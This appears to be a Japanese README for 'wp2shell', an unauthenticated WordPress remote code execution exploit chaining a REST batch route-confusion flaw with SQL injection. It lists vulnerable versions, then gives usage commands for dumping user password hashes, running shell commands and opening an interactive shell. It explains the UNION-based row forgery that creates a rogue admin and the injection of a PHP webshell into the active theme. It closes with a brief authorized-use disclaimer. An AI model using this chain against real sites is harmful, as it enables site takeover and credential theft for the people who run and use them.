
CVE-2026-63030 / wp2shell
WordPress RCE エクスプロイトチェーン。未認証。CVSS 9.8。
| ブランチ | 脆弱なバージョン | 修正済み |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 |
2つの CVE を連鎖させた未認証のリモートコード実行(RCE):
CVE-2026-63030 (route confusion) → batch desync bypasses auth
+
CVE-2026-60137 (SQL injection) → author__not_in sinks raw into SQL
↓
UNION-forge WP_Post rows → customizer changeset bridge → admin created
↓
Login as admin → theme editor → webshell → RCE
| ステップ | CVE | ベクター |
|---|---|---|
| 1 | CVE-2026-63030 | REST /batch/v1 のインデックスのずれにより、検証とディスパッチの間で同期が崩れる |
| 2 | CVE-2026-60137 | author__not_in WP_Query パラメータが文字列として渡された場合に absint() をスキップする |
| 3 | — | UNION SELECT が wp_posts の行を偽造する。oEmbed → カスタマイザー → wp_insert_user |
| 4 | — | 新しく作成された管理者として認証する |
| 5 | — | テーマエディターがトークンで保護されたウェブシェルをアクティブテーマに注入する |
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check
# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users
# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell
# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
--url URL Target WordPress base URL (required)
--check Probe only — do not exploit
--dump-users Extract all user credentials via UNION SQLi
--read SQL Read a scalar SQL expression from the database
--cmd CMD Run a shell command on the target
--shell Open an interactive shell
--user USER Admin username (skip pre-auth admin creation)
--password PASS Admin password (use with --user)
--proxy URL HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC Request timeout (default: 30)
--no-cleanup Leave webshell and admin user on target
WordPress のバッチエンドポイント /?rest_route=/batch/v1 はサブリクエストの配列を受け付けます。サブリクエストのパスが解析不能 (///) な場合、WP_Error は $validation に追加されますが、$matches には追加されません。その後、ディスパッチループはリクエスト N をハンドラ N+1 とペアにするため、あるスキーマに対して検証されたリクエストが、別のハンドラへディスパッチされることになります。
このエクスプロイトは、各レイヤーが位置 0 にデシンク用のプライマーを置いてインデックスをずらす、3 層のネストされたバッチを送信します。最内層のリクエストは、単一投稿アイテム (GET /wp/v2/posts/999999) として検証されますが、コレクションハンドラ (posts->get_items()) に到達します。アイテムスキーマは author_exclude を定義していないため、このパラメータは検証されずに通過します。
get_items() は author_exclude → author__not_in をマッピングし、それを WP_Query に渡します。author__not_in が文字列 (配列ではない) の場合、array_map('absint', …) ブロックはスキップされます。生の文字列はそのまま以下に到達します:
WHERE post_author NOT IN (<payload>)
ペイロード 0) UNION ALL SELECT …-- - は NOT IN リストを閉じ、任意の SQL を追加します。
WordPress 7.0.x の wp_posts はちょうど 23 カラムです。orderby=none(末尾の ORDER BY を抑制)と per_page=500(WP_Query を全行モードに保つ)を指定した UNION ALL SELECT で偽の行を注入すると、||HEX|| マーカーを含む偽の投稿タイトルが REST レスポンスに反映されます。すべての文字列値は、URL エンコード経由のクォートエスケープ問題を避けるため、MySQL の16進リテラル(0x…)を使用します。
[embed] ショートコードを含む投稿を UNION で偽造 → WordPress が 3 つの oembed_cache 行を作成wp_posts 行を UNION で偽造[embed] ショートコードがレンダリングされ、WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user() がトリガーされるwp2_<random>)とパスワード(Wp2!<random>)で管理者が作成される新しい管理者としてログイン → テーマエディタの nonce を抽出 → アクティブなテーマの functions.php の先頭にトークンで保護された PHP ウェブシェルを注入 → ?t=<token>&c=<command> 経由でアクセス。
wp_remote_post() ループバックチェックを実行します。コンテナがホスト名で自身に到達できない場合、テーマの編集はブロックされます。そのような場合は --dump-users と手動ログインを使用してください。--check でテストしてください。$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available
$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
ID=1 login=admin
pass=$wp$2y$10$...
...
本ツールは、許可されたセキュリティ研究および教育目的のみを対象としています。自身が所有するシステム、またはテストの明示的な許可を得たシステムに対してのみ使用してください。作者は不正使用に対して一切の責任を負いません。